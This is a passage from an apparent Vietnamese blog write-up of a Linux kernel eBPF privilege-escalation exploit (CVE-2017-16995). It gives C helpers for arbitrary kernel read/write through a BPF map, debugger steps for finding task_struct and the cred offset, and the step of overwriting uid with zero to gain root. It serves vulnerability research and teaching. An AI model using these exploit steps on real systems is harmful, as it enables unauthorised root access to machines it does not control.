static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; #define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg(); static uint64_t get_value(int key) { uint64_t value; bpf_lookup_elem(&key, &value); return value; } static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2); }
- Khi đã có frame pointer ta tính stack pointer:
stack_pointer = frame_pointer & ~(0x4000 - 1);
- Tại phiên bản này (4.4.21) thì task_struct được đặt ở ngay đầu của stack. Nên nếu tìm đc stack_pointer thì ta chỉ cần đọc giá trị tại địa chỉ này thì ta sẽ biết được vị trí của task_struct.
- linux/include/linux/sched.h
union thread_union { struct thread_info thread_info; unsigned long stack[THREAD_SIZE/sizeof(long)]; };
- arch/x86/include/asm/thread_info.h
struct thread_info { struct task_struct *task; /* main task structure */ __u32 flags; /* low level flags */ __u32 status; /* thread synchronous flags */ __u32 cpu; /* current CPU */ mm_segment_t addr_limit; unsigned int sig_on_uaccess_error:1; unsigned int uaccess_err:1; /* uaccess failed */ };
- Khi biết được task_struct thì ta sẽ tính ofset từ task_struct tới cred
0xffffffff81172b1b <map_update_elem+235> mov edx, dword ptr [r14 + 0xc] 0xffffffff81172b1f <map_update_elem+239> mov rsi, qword ptr [rbp - 0x38] 0xffffffff81172b23 <map_update_elem+243> mov rdi, rax 0xffffffff81172b26 <map_update_elem+246> mov qword ptr [rbp - 0x30], rax 0xffffffff81172b2a <map_update_elem+250> call _copy_from_user <0xffffffff813f5ff0> ► 0xffffffff81172b2f <map_update_elem+255> test rax, rax 0xffffffff81172b32 <map_update_elem+258> mov edx, 0xfffffff2 0xffffffff81172b37 <map_update_elem+263> mov r8, qword ptr [rbp - 0x30] 0xffffffff81172b3b <map_update_elem+267> je map_update_elem+323 <0xffffffff81172b73> ↓ 0xffffffff81172b73 <map_update_elem+323> mov rax, qword ptr [r14 + 0x20] 0xffffffff81172b77 <map_update_elem+327> mov rdx, r8 0 pwndbg> p/x (&(((struct task_struct*)(0xffff88007886d280))->cred)) $44 = 0xffff88007886d850 pwndbg> p/x 0xffff88007886d850-0xffff88007886d280 $45 = 0x5d0
- Vậy ofset = 0x5d0. Ta leak địa chỉa ở ông nhớ task_struct + 0x5d0 là sẽ ra cred
credptr = __read(task_struct + 0x5d0);- Leak được địa chỉ của cred và tính được địa chỉ của uid. Bây giờ ta chỉ cần ghi giá trị 0 vào trường uid là có thể lên root được.
pwndbg> x/10gx 0xffff8800165d8000 (stack pointer) 0xffff8800165d8000: 0xffff8800246f6040 (task_struct) 0x0000000000000000 0xffff8800165d8010: 0x0000000000000000 0x00007ffffffff000 0xffff8800165d8020: 0x0000000000000000 0x0000000057ac6e9d 0xffff8800165d8030: 0x0000000000000000 0x0000000000000000 0xffff8800165d8040: 0x0000000000000000 0x0000000000000000 pwndbg> p/x *(((struct task_struct*)(0xffff8800246f6040))->cred) $2 = { usage = { counter = 0x9 }, uid = { <<--- uid cần ghi đè val = 0x3e8 }, gid = { val = 0x3e8 }, suid = { val = 0x3e8 }, sgid = { val = 0x3e8 },
- Kết quả
Phần 4: Tham khảo
- http://man7.org/linux/man-pages/man2/bpf.2.html
- https://dangokyo.me/2018/05/24/analysis-on-cve-2017-16995/
- https://whereisk0shl.top/post/2018-03-21?fbclid=IwAR2PpY8m_feSCtYy4XK4GRPiPtY_7lR8F_eADr9kV-7AEJQPSi1gZGy-2tE
- https://security.tencent.com/index.php/blog/msg/124?fbclid=IwAR3bWkIyf4sgKoDNg1NvmWkqwWS-MG2a-UQOTmS6YdBmkxQiRMqBXHTAMQs
- https://github.com/KamasuOri/Research/blob/master/CVE-2017-16995/poc.c
Đăng ký:
Nhận xét (Atom)